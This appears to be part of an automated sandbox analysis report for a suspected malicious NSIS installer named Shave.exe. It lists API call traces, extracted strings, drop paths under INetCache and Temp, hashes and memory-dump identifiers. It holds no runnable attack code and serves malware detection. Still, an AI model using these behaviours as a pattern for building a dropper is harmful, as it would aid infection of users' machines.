Instruction ID: bcfd2d22d1879e5622b99971d01ab4cf0f80aa437164630439a9faed4d38b060
Opcode Fuzzy Hash: 1fd7fb93b20e84e9bb29657208738ca1191e64ba3882d05827fa26970d9105d4
Instruction Fuzzy Hash: B6227871D18749DBDB348FB889A06EAB7B8FF06315F10462AD1A5E62C0DB70E6C58F50

Function 004059A9 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,75923420,00000000), ref: 004059D2
lstrcatW.KERNEL32(007A3F28,\*.*,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,75923420,00000000), ref: 00405A1A
lstrcatW.KERNEL32(?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,75923420,00000000), ref: 00405A3D
lstrlenW.KERNEL32(?,?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,75923420,00000000), ref: 00405A43
FindFirstFileW.KERNEL32(007A3F28,?,?,?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,75923420,00000000), ref: 00405A53
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405AF3
FindClose.KERNEL32(00000000), ref: 00405B02

Strings

\*.*, xrefs: 00405A14
"C:\Users\user\Desktop\Shave.exe", xrefs: 004059A9
C:\Users\user\AppData\Local\Temp\, xrefs: 004059B7
(?z, xrefs: 00405A02

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Shave.exe"$(?z$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3354751149
Opcode ID: 4d5656c0894c7074968c07a7ddfc43275556ff456bdda599b280e6413b0d544d
Instruction ID: 8b5db7531a0f4bb83586dba503ceccc8cbbd7972abfd892cd346515476ce1415
Opcode Fuzzy Hash: 4d5656c0894c7074968c07a7ddfc43275556ff456bdda599b280e6413b0d544d
Instruction Fuzzy Hash: 7D41D830900918A6CF21AB65CC89ABF7678EF82718F14827FF801B11C1D77C5985DE6E

Function 004065DA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,007A4F70,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,00405CBD,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,?,?,75923420,004059C9,?,C:\Users\user\AppData\Local\Temp\,75923420), ref: 004065E5
FindClose.KERNEL32(00000000), ref: 004065F1

Strings

C:\Users\user\AppData\Local\Temp\nsa5D43.tmp, xrefs: 004065DA
pOz, xrefs: 004065DB

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsa5D43.tmp$pOz
API String ID: 2295610775-1393153450
Opcode ID: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction ID: b37c022bec08382a0cb03c9db181d2efdea8b1f21deeb05207148622359d6313
Opcode Fuzzy Hash: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction Fuzzy Hash: EFD01231519020AFC2001B38BD0C84B7A589F463307158B3AB4A6F11E4CB788C6296A9

Function 00403D35 Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D71
ShowWindow.USER32(?), ref: 00403D8E
DestroyWindow.USER32 ref: 00403DA2
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DBE
GetDlgItem.USER32(?,?), ref: 00403DDF
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403DF3
IsWindowEnabled.USER32(00000000), ref: 00403DFA
GetDlgItem.USER32(?,00000001), ref: 00403EA8
GetDlgItem.USER32(?,00000002), ref: 00403EB2
SetClassLongW.USER32(?,000000F2,?), ref: 00403ECC
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F1D
GetDlgItem.USER32(?,00000003), ref: 00403FC3
ShowWindow.USER32(00000000,?), ref: 00403FE4
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403FF6
EnableWindow.USER32(?,?), ref: 00404011
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404027
EnableMenuItem.USER32(00000000), ref: 0040402E
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404046
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404059
lstrlenW.KERNEL32(007A1F20,?,007A1F20,00000000), ref: 00404083
SetWindowTextW.USER32(?,007A1F20), ref: 00404097
ShowWindow.USER32(?,0000000A), ref: 004041CB

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 47aca452d897ee1c606fef890413e6cfedcb511d419741730bd760ecf5135d2d
Instruction ID: db2580999c41c4fe450d1ee4fd1a55221d51bf0aef153e7307bc2b2ec56299a6
Opcode Fuzzy Hash: 47aca452d897ee1c606fef890413e6cfedcb511d419741730bd760ecf5135d2d
Instruction Fuzzy Hash: 3FC1DEB2504200AFDB206F61ED48E2B3AA8EB9A745F01453FF651B11F0CB399991DB5E

Function 00403987 Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406671: GetModuleHandleA.KERNEL32(?,00000020,?,004033DE,0000000A), ref: 00406683
Part of subcall function 00406671: GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

GetUserDefaultUILanguage.KERNELBASE(00000002,C:\Users\user\AppData\Local\Temp\,75923420,"C:\Users\user\Desktop\Shave.exe",00000000), ref: 004039A1

Part of subcall function 004061DE: wsprintfW.USER32 ref: 004061EB

lstrcatW.KERNEL32(1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,C:\Users\user\AppData\Local\Temp\,75923420,"C:\Users\user\Desktop\Shave.exe",00000000), ref: 00403A08
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403A88
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,1033,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000), ref: 00403A9B
GetFileAttributesW.KERNEL32(Call), ref: 00403AA6
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne), ref: 00403AEF
RegisterClassW.USER32(007A79C0), ref: 00403B2C
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B44
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B79
ShowWindow.USER32(00000005,00000000), ref: 00403BAF
GetClassInfoW.USER32(00000000,RichEdit20W,007A79C0), ref: 00403BDB
GetClassInfoW.USER32(00000000,RichEdit,007A79C0), ref: 00403BE8
RegisterClassW.USER32(007A79C0), ref: 00403BF1
DialogBoxParamW.USER32(?,00000000,00403D35,00000000), ref: 00403C10

Strings

1033, xrefs: 004039A7, 00403A03
RichEdit, xrefs: 00403BE2
_Nb, xrefs: 00403B0B, 00403B73
Call, xrefs: 00403A4F, 00403A58, 00403A66, 00403AB5, 00403ABB
.exe, xrefs: 00403A95
Control Panel\Desktop\ResourceLocale, xrefs: 004039BB
"C:\Users\user\Desktop\Shave.exe", xrefs: 0040398B
C:\Users\user\AppData\Local\Temp\, xrefs: 00403993
.DEFAULT\Control Panel\International, xrefs: 004039F3
RichEd32, xrefs: 00403BC3
RichEdit20W, xrefs: 00403BD3, 00403BD9
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 00403A17, 00403A1F, 00403AC2, 00403AC8, 00403AD8
RichEd20, xrefs: 00403BB5

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Shave.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-804287154
Opcode ID: d8c6d654d8461c0bab771826e12c99a28648eabf0d3796c1ab225da277d58302
Instruction ID: fbef4646fbcf09e2f3785bbd11e1a9055ea34cd93d2d0ed92f9d0f486109358d
Opcode Fuzzy Hash: d8c6d654d8461c0bab771826e12c99a28648eabf0d3796c1ab225da277d58302
Instruction Fuzzy Hash: 4D61B434200700AED320AF669D45F2B3A6CEB86745F40857FF941B51E2DB7D6901CB2D

Function 00402EDD Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402EEE
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Shave.exe,00000400,?,00000006,00000008,0000000A), ref: 00402F0A

Part of subcall function 00405D8D: GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\Shave.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D91
Part of subcall function 00405D8D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DB3

GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Shave.exe,C:\Users\user\Desktop\Shave.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00402F56

Strings

vy, xrefs: 00402F6B
"C:\Users\user\Desktop\Shave.exe", xrefs: 00402EDD
Inst, xrefs: 00402FC2
C:\Users\user\AppData\Local\Temp\, xrefs: 00402EE7
Null, xrefs: 00402FD4
C:\Users\user\Desktop, xrefs: 00402F38, 00402F3D, 00402F43
soft, xrefs: 00402FCB
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004030B5
Error launching installer, xrefs: 00402F2D
C:\Users\user\Desktop\Shave.exe, xrefs: 00402EF4, 00402F03, 00402F17, 00402F37

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Shave.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Shave.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$vy
API String ID: 4283519449-3911791977
Opcode ID: 3805bf358c9b933ceb9c43f9a1800ffe54feec6963a992abd6a8fc7691be1b71
Instruction ID: 6efc7070ea8ae83888cd6b0cd51e2fb70848d81e0c864f736895acd6ba0a04dc
Opcode Fuzzy Hash: 3805bf358c9b933ceb9c43f9a1800ffe54feec6963a992abd6a8fc7691be1b71
Instruction Fuzzy Hash: 6251C271901208ABDB20AF65DD85BAE7FA8EB05355F10807BF904B62D5DB7C8E408B9D

Function 004062B9 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004063FA
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,007A0F00,?,00405336,007A0F00,00000000), ref: 0040640D
SHGetSpecialFolderLocation.SHELL32(00405336,007924D8,00000000,007A0F00,?,00405336,007A0F00,00000000), ref: 00406449
SHGetPathFromIDListW.SHELL32(007924D8,Call), ref: 00406457
CoTaskMemFree.OLE32(007924D8), ref: 00406462
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406488
lstrlenW.KERNEL32(Call,00000000,007A0F00,?,00405336,007A0F00,00000000), ref: 004064E0

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406482
Call, xrefs: 004062E3, 004063BE, 004063C5, 004063C9, 004063E3, 004063E4, 004063F9, 0040640C, 00406428, 00406453, 00406487, 0040648D, 004064A9, 004064BC, 004064D9, 004064DF, 004064EB, 0040651E
Software\Microsoft\Windows\CurrentVersion, xrefs: 004063CA

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 6a252e7cfe045f166905b36660472e7fa3fa999564b1f12889f2762da509e16d
Instruction ID: 404aa91c63c37ecb41bc9170075bd2a6d7acde9a16fb3e5716bfaea1f71b207e
Opcode Fuzzy Hash: 6a252e7cfe045f166905b36660472e7fa3fa999564b1f12889f2762da509e16d
Instruction Fuzzy Hash: C0613671A00511ABDF209F24DD40ABE37A5AF45314F12813FE943BA2D0EB3C99A1CB5D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,?,?,00000031), ref: 004017D5

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

Part of subcall function 004052FF: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,759223A0,?,?,?,?,?,?,?,?,?,00403257,00000000,?), ref: 00405337
Part of subcall function 004052FF: lstrlenW.KERNEL32(00403257,007A0F00,00000000,007924D8,759223A0,?,?,?,?,?,?,?,?,?,00403257,00000000), ref: 00405347
Part of subcall function 004052FF: lstrcatW.KERNEL32(007A0F00,00403257,00403257,007A0F00,00000000,007924D8,759223A0), ref: 0040535A
Part of subcall function 004052FF: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
Part of subcall function 004052FF: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
Part of subcall function 004052FF: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
Part of subcall function 004052FF: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nsa5D43.tmp, xrefs: 00401821, 0040183F
C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll, xrefs: 00401835, 00401851
Call, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne$C:\Users\user\AppData\Local\Temp\nsa5D43.tmp$C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll$Call
API String ID: 1941528284-3125287026
Opcode ID: 1aff087000cc3e25554f0ed6ab8061021059107db776a0829eeff450dd20a923
Instruction ID: 2a95d3c8b727dc51f4ea131d05094547f585338353aa12d45a2270be549af1c7
Opcode Fuzzy Hash: 1aff087000cc3e25554f0ed6ab8061021059107db776a0829eeff450dd20a923
Instruction Fuzzy Hash: C141B471910514BACF107BA5DD45DAF3A79EF45328B20823FF512B10E1DB3C4A519B6E

Function 00406601 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406618
wsprintfW.USER32 ref: 00406653
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406667

Strings

UXTHEME, xrefs: 0040660A
%s%S.dll, xrefs: 0040664D
\, xrefs: 00406629

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
